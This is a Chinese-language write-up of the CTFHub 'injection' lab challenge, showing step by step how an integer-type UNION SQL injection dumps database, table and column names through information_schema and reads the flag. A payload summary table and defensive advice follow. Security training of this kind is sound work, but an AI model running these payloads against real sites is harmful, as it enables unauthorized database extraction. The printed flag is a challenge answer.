Writeup 4 CTFHub injection
一、题目信息
- **题目名称:**injection
- **平台:**CTFHub
- **赛事:**2017-赛客夏令营
- **题目类型:**Web / SQL注入
- **注入类型:**整数型联合查询注入(有回显)
- 靶机地址:
http://challenge-xxx.sandbox.ctfhub.com:10800/index.php?id=1 - 最终Flag:
ctfhub{c0c25953aa2a2d6489601381}
二、解题思路
页面正常回显 Practice makes perfect.,URL 中 id 参数直接拼接进 SQL 查询,且页面有明确回显位,因此判断为有回显的联合查询注入 。核心思路是用 union select 把目标数据拼接到查询结果中,通过页面回显直接读出。
三、解题步骤
1. 判断列数
使用 order by 逐步试探:
sql
?id=1 order by 2 → 正常回显
?id=1 order by 3 → 无回显
结论 :查询结果共 2 列。
2. 找回显位
构造一个不存在的 id,让前半句查不到数据,后半句联合查询的结果才能显示:
sql
?id=-1 union select 1,2
页面回显 2,说明第二位是回显点。
3. 爆库名
sql
?id=-1 union select 1,database()
回显库名为 ctfhub。
4. 爆表名
http
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub'
回显表名,找到 flag 表:
flag,info
5. 爆列名
http
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
回显列名为 flag:
flag
6. 读取 Flag
http
http://challenge-079518253c6a4375.sandbox.ctfhub.com:10800/index.php?id=-1 union select 1,flag from ctfhub.flag
页面回显:
ctfhub{c0c25953aa2a2d6489601381}
四、关键 Payload 汇总
| 目的 | Payload |
|---|---|
| 判断列数 | ?id=1 order by 2 / order by 3 |
| 找回显位 | ?id=-1 union select 1,2 |
| 爆库名 | ?id=-1 union select 1,database() |
| 爆表名 | ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfhub' |
| 爆列名 | ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' |
| 读Flag | ?id=-1 union select 1,flag from ctfhub.flag |
五、知识点总结
- 整数型注入:参数未加引号包裹,直接拼接数字,无需闭合引号。
- 联合查询注入前提:页面有回显、列数已知、回显位已知。
order by判列数:按列序号排序,超出列数会报错,是判断列数最稳的方法。information_schema:MySQL 系统库,tables表存表名、columns表存列名,是爆库表字段的核心。group_concat():把多行结果拼成一行,避免只回显第一条。- 不存在的 id 配合 union:确保前半句无结果,联合查询的回显才能正常显示。
六、防御建议
- 使用预编译语句(Prepared Statement),参数化查询,杜绝拼接。
- 对输入做类型校验(如
id强制转整数)。 - 数据库账号最小权限,避免普通业务账号可读
information_schema。 - 关闭详细报错回显,避免泄露数据库结构。
Rambo
2026年10月20日
🎉🎉🎉